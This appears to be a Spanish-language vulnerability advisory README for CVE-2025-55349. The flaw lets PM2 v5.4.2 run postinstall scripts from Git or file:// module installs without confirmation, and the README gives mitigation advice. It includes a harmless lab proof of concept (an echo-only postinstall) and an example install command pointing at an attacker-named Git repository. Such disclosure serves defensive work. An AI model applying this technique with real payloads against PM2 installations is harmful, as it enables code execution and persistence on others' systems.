
repositorio para CVE-2025-55349
postinstallDescubridor: Golden Ticket Labs
Proveedor: Unitech (pm2)
Fecha de asignación: 20 de agosto de 2025 (MITRE)
Un problema en el componente lib/API/Modules/NPM.js de Unitech PM2 v5.4.2 permite la ejecución de código arbitrario al instalar paquetes con scripts postinstall manipulados.
PM2 ejecuta automáticamente scripts del ciclo de vida postinstall de instalaciones basadas en Git o archivos locales sin sandboxing ni confirmación del usuario, incluso cuando se invoca a través de:
Esta vulnerabilidad persiste incluso si el módulo está roto o no es funcional, y el código del atacante puede sobrevivir a reinicios del sistema cuando se registra como un módulo de arranque de PM2.
Versiones afectadas
≤ 5.4.2 — Vulnerable
6.0.5 — Corregido — Lógica de parsing de Git eliminada (PR #5909), pero la corrección no fue documentada y estuvo ausente de los registros de cambios.
Vector de ataque
Un atacante puede preparar un repositorio Git malicioso con un package.json que contenga un script postinstall manipulado. Cuando se instala a través de PM2, el script se ejecuta automáticamente:
pm2 install https://github.com/attacker/malicious-module.git
Impacto
Ejecución de código controlado por el atacante en el momento de la instalación
Persistencia a través de módulos de arranque gestionados por PM2
Posible movimiento lateral en entornos que utilizan instalaciones compartidas o mediante scripts
Detalles técnicos
PM2 trata los repositorios Git como implícitamente confiables durante la instalación de módulos. Los scripts del ciclo de vida como postinstall se ejecutan sin sandboxing, visibilidad ni confirmación.
Esto afecta tanto a URLs Git remotas como a rutas locales file://, ampliando significativamente la superficie de ataque. Debido a que los módulos de PM2 a menudo se inician al arrancar el sistema, el riesgo de persistencia y comportamiento no autorizado incrustado es alto.
Mitigación
Actualizar a PM2 v6.0.5 o superior, donde se eliminó la lógica de parsing de Git.
Evitar instalar módulos desde fuentes Git no confiables.
Prueba de concepto (Solo laboratorio)
⚠️ No se proporciona código de explotación armado. Esta es una demostración segura.
# Create a malicious repo
git init pm2-evil
cd pm2-evil
cat > package.json <<EOF
{
"name": "pm2-evil",
"version": "1.0.0",
"scripts": {
"postinstall": "echo 'pwned by CVE-2025-55349'"
}
}
EOF
git add package.json
git commit -m "Evil postinstall"
cd ..
# Trigger the install (on vulnerable pm2 v5.4.2)
pm2 install file://$PWD/pm2-evil
En versiones vulnerables, el comando postinstall se ejecuta inmediatamente.
Referencias
Commit de corrección (eliminación de la lógica de parsing de Git)
Lanzamiento de PM2 v6.0.5
Licencia y descargo de responsabilidad
Todo el contenido de este repositorio se proporciona únicamente con fines educativos y defensivos. No se incluyen cargas útiles de explotación. No utilice estas técnicas contra sistemas sin autorización explícita.
Contacto
Golden Ticket Labs 📧 [email protected]
🌐 goldenticketlabs.com